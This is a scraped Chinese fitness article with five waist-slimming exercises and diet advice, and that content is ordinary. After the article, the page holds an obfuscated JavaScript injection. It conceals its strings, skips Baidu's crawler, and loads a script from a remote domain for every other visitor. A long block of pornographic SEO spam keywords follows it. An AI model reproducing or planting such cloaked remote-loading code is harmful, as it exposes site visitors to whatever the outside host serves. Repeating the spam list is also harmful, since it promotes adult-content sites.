當前位置:首頁 > 減肥 > 運動減肥 > 正文

怎樣鍛煉可以瘦腰呢

2017-04-22 00:04:15  來源:360常識網   熱度:
導語:很多女性都為能夠擁有苗條的身材而付出大量時間和精力,但是每個人的體質不同,尤其是蘋果型身材的女生,不論怎么減肥,總是不能擁有苗條的

很多女性都為能夠擁有苗條的身材而付出大量時間和精力,但是每個人的體質不同,尤其是蘋果型身材的女生,不論怎么減肥,總是不能擁有苗條的細腰。纖細的腰肢是每個女性夢寐以求的,纖腰自古就被認為是美和性感的代名詞。那么,女性到底怎樣鍛煉才可以瘦腰呢?

1、仰臥舉臀:仰臥在床上,雙腿彎曲,雙手放于身體兩側,兩腳平放于床上。腳跟用力,慢慢抬起臀部,再緩慢降低至起始姿勢。如此重復10次。

2、俯臥抬肩:俯臥在床上,雙臂向前伸直。慢慢抬起上身到最高點,微微抬頭,再緩慢降低至起始姿態。保持腹部及以下緊貼于墊上,不要用力過猛。重復10次。

3、側臥抬高:側臥,左手支頭,右手放在身前支撐住身體,提高右腿做側抬腿,左腿蜷起。注意,身體伸直,腳尖向下,腳跟向上。動作要放慢。如果做完臀部側面感覺酸痛,說明你的動作是正確的。每條腿重復20次。

4、手膝舉腿:跪在床上,雙手撐地。慢慢抬起和伸直右臂和左腿到最高點,再緩慢降低至起始姿態。然后交換到左臂和右腿。保持頭部與脊柱的自然狀態。抬起高度可以逐漸增加,向上時呼氣。重復10次。

5、仰臥起坐:因為仰臥起坐針對性強,能夠充分鍛煉腹部的脂肪,讓腹部松垮垮的贅肉變得緊實起來,不過動作一定要標準,而且運動要適量,否則次日肚子可能會酸到起不來哦。

除了以上幾種鍛煉方式可以瘦腰,女性還應還注意改變日常生活習慣和飲食習慣。例如,吃完飯不要立即坐下,最好能夠保持站立姿勢,可以選擇做些家務或者散散步。飲食上,要盡量避免油炸、高糖分的食物,零食也要少吃,可以多吃些蔬菜水果。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产精品麻豆VA在线播放| 国产精品热久久无码av| 中文字幕一区二区精品区| 中文字幕精品亚洲无线码二区| 亚洲国产精品尤物YW在线观看| 国产日韩精品一区二区在线观看 | 久久精品亚洲中文字幕无码麻豆| 99精品在线观看| 久久露脸国产精品| 国产成人精品久久一区二区三区av | 亚洲精品国产自在久久| 国产在线精品观看一区| 国产精品国产国产aⅴ| 最新国产午夜精品视频成人| 久久无码av亚洲精品色午夜| 精品乱码一卡2卡三卡4卡网| 2017国产精品自拍| 国产精品一国产AV麻豆| 国产乱子精品免费视观看片| 久久精品国产亚洲AV忘忧草18| 2019天堂精品视频在线观看| 91精品国产福利在线观看| 亚洲国产精品综合福利专区| 亚洲国产成人精品无码区在线秒播| 91精品久久久久久久久网影视| 亚洲国产精品久久久久| 国产精品区一区二区三在线播放| 一本色道久久88精品综合| 人妻少妇精品一区二区三区| 国产人妖乱国产精品人妖| 精品久久久久久国产91| 国产亚洲美女精品久久久久狼| 国产在线高清精品二区| 国产最新进精品视频| 久久国产精品一区二区| 日韩精品乱码AV一区二区| 69精品久久久久| 97精品一区二区视频在线观看| 久久久精品人妻久久影视| 国产精品成人久久久久| 亚洲日韩精品无码专区网站|